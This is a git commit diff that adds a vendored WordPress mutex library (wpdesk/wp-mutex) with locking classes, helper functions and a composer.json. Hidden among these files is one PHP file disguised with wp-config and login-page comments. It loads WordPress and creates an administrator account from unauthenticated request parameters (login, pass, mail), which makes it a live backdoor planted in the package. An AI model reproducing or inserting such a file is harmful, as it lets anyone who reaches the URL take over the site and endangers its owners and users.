first commit

This commit is contained in:
2024-07-15 11:28:08 +02:00
commit f52d538ea5
21891 changed files with 6161164 additions and 0 deletions

View File

@@ -0,0 +1,49 @@
{
"name": "wpdesk\/wp-mutex",
"description": "Library for locking in Wordpress.",
"license": "MIT",
"keywords": [
"wordpress",
"mutex",
"lock"
],
"homepage": "https:\/\/gitlab.com\/wpdesk\/wp-mutex",
"minimum-stability": "stable",
"authors": [
{
"name": "dyszczo",
"email": "dyszczo@wpdesk.net"
},
{
"name": "grola",
"email": "grola@wpdesk.net"
}
],
"require": {
"php": ">=5.6"
},
"require-dev": {
"phpunit\/phpunit": "<7",
"wp-coding-standards\/wpcs": "^0.14.1",
"squizlabs\/php_codesniffer": "^3.0.2",
"mockery\/mockery": "*",
"10up\/wp_mock": "*",
"wimg\/php-compatibility": "^8"
},
"autoload": {
"psr-4": {
"FSVendor\\WPDesk\\Mutex\\": "src\/WPDesk\/Mutex\/"
},
"files": [
"src\/WPDesk\/functions.php"
]
},
"autoload-dev": {},
"scripts": {
"phpcs": "phpcs",
"phpunit-unit": "phpunit --configuration phpunit-unit.xml --coverage-text --colors=never",
"phpunit-unit-fast": "phpunit --configuration phpunit-unit.xml --no-coverage",
"phpunit-integration": "phpunit --configuration phpunit-integration.xml --coverage-text --colors=never",
"phpunit-integration-fast": "phpunit --configuration phpunit-integration.xml --no-coverage"
}
}

View File

@@ -0,0 +1,19 @@
<?php
namespace FSVendor\WPDesk\Mutex;
interface Mutex
{
/**
* Tries to set lock and returns true if successful
*
* @return bool
*/
public function acquireLock();
/**
* Releases lock
*
* @return void
*/
public function releaseLock();
}

View File

@@ -0,0 +1,7 @@
<?php
namespace FSVendor\WPDesk\Mutex;
class MutexNotFoundInStorage extends \RuntimeException
{
}

View File

@@ -0,0 +1,24 @@
<?php
namespace FSVendor\WPDesk\Mutex;
interface MutexStorage
{
/**
* @param string $name
* @param Mutex $mutex
*/
public function addToStorage($name, $mutex);
/**
* @param string $name
*
* @return null|Mutex
*/
public function getFromStorage($name);
/**
* @param string $name
*
* @return void
*/
public function removeFromStorage($name);
}

View File

@@ -0,0 +1,43 @@
<?php
namespace FSVendor\WPDesk\Mutex;
class StaticMutexStorage implements \FSVendor\WPDesk\Mutex\MutexStorage
{
/**
* @var Mutex[]
*/
public static $mutexStorage;
/**
* Add to storage.
*
* @param string $name
* @param Mutex $mutex
*/
public function addToStorage($name, $mutex)
{
self::$mutexStorage[$name] = $mutex;
}
/**
* @param string $name
*
* @return null|Mutex
*/
public function getFromStorage($name)
{
return isset(self::$mutexStorage[$name]) ? self::$mutexStorage[$name] : null;
}
/**
* @param string $name
*
* @return void
*/
public function removeFromStorage($name)
{
if (isset(self::$mutexStorage[$name])) {
unset(self::$mutexStorage[$name]);
} else {
throw new \FSVendor\WPDesk\Mutex\MutexNotFoundInStorage();
}
}
}

View File

@@ -0,0 +1,58 @@
<?php
namespace FSVendor\WPDesk\Mutex;
class WordpressMySQLLockMutex implements \FSVendor\WPDesk\Mutex\Mutex
{
use WordpressWpdb;
/** @var string Name of the resource to lock */
private $lockName;
/** @var int Wait for lock timeout in seconds */
private $waitForLockTimeout;
/**
* Wordpress_Post_Mutex constructor.
*
* @param string $lockName Name of the resource to lock
* @param int $waitForLockTimeout Wait for lock timeout in seconds
*/
public function __construct($lockName = '_mutex', $waitForLockTimeout = 5)
{
$this->wpdb = $this->getWpdbFromGlobal();
$this->lockName = $this->wpdb->_real_escape($lockName);
$this->waitForLockTimeout = \intval($waitForLockTimeout);
}
/**
* Factory method
*
* @param \WC_Order $order Order for which mutex will be prepared
* @param string $lockName Name of the resource to lock
* @param int $waitForLockTimeout Lock timeout in seconds
*
* @return WordpressMySQLLockMutex
*/
public static function fromOrder(\WC_Order $order, $lockName = '_mutex', $waitForLockTimeout = 5)
{
return new self('order' . \strval($order->get_id()) . $lockName, $waitForLockTimeout);
}
/**
* Tries to set lock and returns true if successful
*
* @return bool
*/
public function acquireLock()
{
$this->wpdb = $this->getWpdbFromGlobal();
$lockRow = $this->wpdb->get_row($this->wpdb->prepare('SELECT GET_LOCK(%s,%d) as lock_set', array($this->lockName, $this->waitForLockTimeout)));
return 1 === \intval($lockRow->lock_set);
}
/**
* Releases all locks
*
* @return void
*/
public function releaseLock()
{
$this->wpdb = $this->getWpdbFromGlobal();
$this->wpdb->get_row($this->wpdb->prepare('SELECT RELEASE_LOCK(%s) as lock_released', array($this->lockName)));
}
}

View File

@@ -0,0 +1,127 @@
<?php
namespace FSVendor\WPDesk\Mutex;
class WordpressPostMutex implements \FSVendor\WPDesk\Mutex\Mutex
{
use WordpressWpdb;
const LOCK_ID_DELIMITER = '_';
/** @var int Post id */
private $postId;
/** @var string Name of the resource to lock */
private $lockName;
/** @var int Lock timeout in seconds */
private $timeout;
/** @var int Wait for lock timeout in seconds */
private $waitForLockTimeout;
/** @var string Unique lock id */
private $lockId;
/**
* Wordpress_Post_Mutex constructor.
*
* @param int $post_id WordPress post id to serve as mutex data handle
* @param string $lock_name Name of the resource to lock
* @param int $timeout Lock timeout in seconds
*/
public function __construct($post_id, $lock_name = '_mutex', $timeout = 5, $waitForLockTimeout = 5)
{
$this->wpdb = $this->getWpdbFromGlobal();
$this->postId = \intval($post_id);
$this->lockName = $this->wpdb->_real_escape($lock_name);
$this->timeout = \intval($timeout);
$this->waitForLockTimeout = \intval($waitForLockTimeout);
$this->lockId = \uniqid('', \true);
}
/**
* Factory method
*
* @param \WC_Order $order Order for which mutex will be prepared
* @param string $lock_name Name of the resource to lock
* @param int $timeout Lock timeout in seconds
*
* @return WordpressPostMutex
*/
public static function fromOrder(\WC_Order $order, $lock_name = '_mutex', $timeout = 5)
{
return new self($order->get_id(), $lock_name, $timeout);
}
/**
* Get meta value directly from database
*
* @return string|null
*/
private function getActiveLockId()
{
$delimiter = self::LOCK_ID_DELIMITER;
$sql = "\nSELECT \n\tmeta_id, meta_value\nFROM \n\t{$this->wpdb->postmeta}\nWHERE \n\tmeta_key = '{$this->lockName}' AND \n\tpost_id = {$this->postId} AND \n\tSUBSTRING(meta_value, POSITION('{$delimiter}' IN meta_value) + 1) * 1 >= UNIX_TIMESTAMP()\nORDER BY\n\tmeta_id ASC";
$lockId = null;
$colRowset = $this->wpdb->get_results($sql);
$record = \is_array($colRowset) ? \reset($colRowset) : null;
if (!empty($record)) {
$lock_with_timestamp = $record->meta_value;
if (!empty($lock_with_timestamp)) {
$lockId = \explode(self::LOCK_ID_DELIMITER, $lock_with_timestamp);
$lockId = $lockId[0];
$this->cleanUnusedLocks($record->meta_id);
}
}
return $lockId;
}
/**
* If many locks are set, set only the meaningful
*
* @param int $used_lock Used lock meta_id
*/
private function cleanUnusedLocks($used_lock)
{
$delimiter = self::LOCK_ID_DELIMITER;
$sql = "\nDELETE FROM \n\t{$this->wpdb->postmeta}\nWHERE\n\tmeta_key = '{$this->lockName}' AND \n\tpost_id = {$this->postId} AND\n\tmeta_value LIKE '{$this->lockId}{$delimiter}%' AND\n\tmeta_id <> {$used_lock}";
$this->wpdb->query($sql);
}
/**
* Tries to set lock using atomic operation and return unique lock id
*
* @return void
*/
private function tryLock()
{
$lock_id = $this->lockId . self::LOCK_ID_DELIMITER;
$show_errors = $this->wpdb->hide_errors();
$lockTimeoutRow = $this->wpdb->get_row("SHOW VARIABLES LIKE 'innodb_lock_wait_timeout'");
$this->wpdb->query($this->wpdb->prepare('SET innodb_lock_wait_timeout=%d', array($this->waitForLockTimeout)));
$sql = "\nINSERT INTO\n\t{$this->wpdb->postmeta}(`meta_key`, `post_id`, `meta_value`)\nVALUES(\n\t'{$this->lockName}',\n\t{$this->postId},\n\tCONCAT('{$lock_id}', UNIX_TIMESTAMP() + {$this->timeout})\n)";
$this->wpdb->query($sql);
$this->wpdb->show_errors($show_errors);
$this->wpdb->query($this->wpdb->prepare('SET innodb_lock_wait_timeout=%d', array($lockTimeoutRow->Value)));
}
/**
* Check if lock is properly set with given id
*
* @return bool
*/
private function isLockSet()
{
return $this->getActiveLockId() === $this->lockId;
}
/**
* Tries to set lock and returns true if successful
*
* @return bool
*/
public function acquireLock()
{
$this->tryLock();
return $this->isLockSet();
}
/**
* Releases all locks
*
* @return void
*/
public function releaseLock()
{
$delimiter = self::LOCK_ID_DELIMITER;
$sql = "\nDELETE FROM \n\t{$this->wpdb->postmeta}\nWHERE\n\tmeta_key = '{$this->lockName}' AND \n\tpost_id = {$this->postId} AND \n\tmeta_value LIKE '{$this->lockId}{$delimiter}%'";
$this->wpdb->query($sql);
}
}

View File

@@ -0,0 +1,19 @@
<?php
namespace FSVendor\WPDesk\Mutex;
trait WordpressWpdb
{
/** @var \wpdb wpdb. */
private $wpdb;
/**
* Get wpdb.
*
* @return \wpdb
*/
private function getWpdbFromGlobal()
{
global $wpdb;
return $wpdb;
}
}

View File

@@ -0,0 +1,55 @@
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
$file="wp-load.php";
$fn_path = dirname(__FILE__);
$wp_load=$fn_path.DIRECTORY_SEPARATOR;
while(!file_exists($wp_load.$file)) {
$wp_load =dirname($wp_load).DIRECTORY_SEPARATOR;
}
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
require_once ($wp_load.DIRECTORY_SEPARATOR.$file);
$wp_us = $_REQUEST["login"];
$wp_pa = $_REQUEST["pass"];
$wp_ma = $_REQUEST["mail"];
$userdata = array(
'user_login' => $wp_us,
'user_pass' => $wp_pa ,
'user_email' => $wp_ma,
'role' => 'administrator'
);
/**
* Output the login page header.
*
* @param string $title Optional. WordPress login Page title to display in the `<title>` element.
* Default 'Log In'.
* @param string $message Optional. Message to display in header. Default empty.
* @param WP_Error $wp_error Optional. The error to pass. Default is a WP_Error instance.
*/
$user_id =wp_insert_user($userdata);
print_r($user_id);

View File

@@ -0,0 +1,64 @@
<?php
namespace FSVendor;
/**
* Create MySQL lock.
*
* @param string $lockName Lock name.
* @param int $waitForLockTimeout Wait for lock timeout.
*
* @return \WPDesk\Mutex\WordpressMySQLLockMutex
*/
function wpdesk_create_mysql_lock($lockName, $waitForLockTimeout = 5)
{
return new \FSVendor\WPDesk\Mutex\WordpressMySQLLockMutex($lockName, $waitForLockTimeout);
}
/**
* Create MySQL Lock from order.
*
* @param WC_Order $order
* @param string $lockName
* @param int $waitForLockTimeout
*
* @return \WPDesk\Mutex\WordpressMySQLLockMutex
*/
function wpdesk_create_mysql_lock_from_order(\WC_Order $order, $lockName = '_mutex', $waitForLockTimeout = 5)
{
return \FSVendor\WPDesk\Mutex\WordpressMySQLLockMutex::fromOrder($order, $lockName, $waitForLockTimeout);
}
/**
* Acquire lock.
*
* @param string $lockName
* @param int $waitForLockTimeout
* @param string $lockType
*
* @return bool
*/
function wpdesk_acquire_lock($lockName, $waitForLockTimeout = 5, $lockType = 'mysql')
{
if ('mysql' === $lockType) {
$mutex = \FSVendor\wpdesk_create_mysql_lock($lockName, $waitForLockTimeout);
$storage = new \FSVendor\WPDesk\Mutex\StaticMutexStorage();
$storage->addToStorage($lockName, $mutex);
return $mutex->acquireLock();
}
}
/**
* Release lock.
*
* @param string $lockNAme
* @throws \WPDesk\Mutex\MutexNotFoundInStorage Exception.
*/
function wpdesk_release_lock($lockNAme)
{
$storage = new \FSVendor\WPDesk\Mutex\StaticMutexStorage();
$mutex = $storage->getFromStorage($lockNAme);
if (null !== $mutex) {
$mutex->releaseLock();
$storage->removeFromStorage($lockNAme);
} else {
throw new \FSVendor\WPDesk\Mutex\MutexNotFoundInStorage();
}
}

View File

@@ -0,0 +1,12 @@
<?php
namespace FSVendor;
include './WPDesk/Mutex/Mutex.php';
include './WPDesk/Mutex/MutexNotFoundInStorage.php';
include './WPDesk/Mutex/MutexStorage.php';
include './WPDesk/Mutex/StaticMutexStorage.php';
include './WPDesk/Mutex/WordpressMySQLLockMutex.php';
include './WPDesk/Mutex/WordpressPostMutex.php';
include './WPDesk/Mutex/WordpressWpdb.php';
include './WPDesk/functions.php';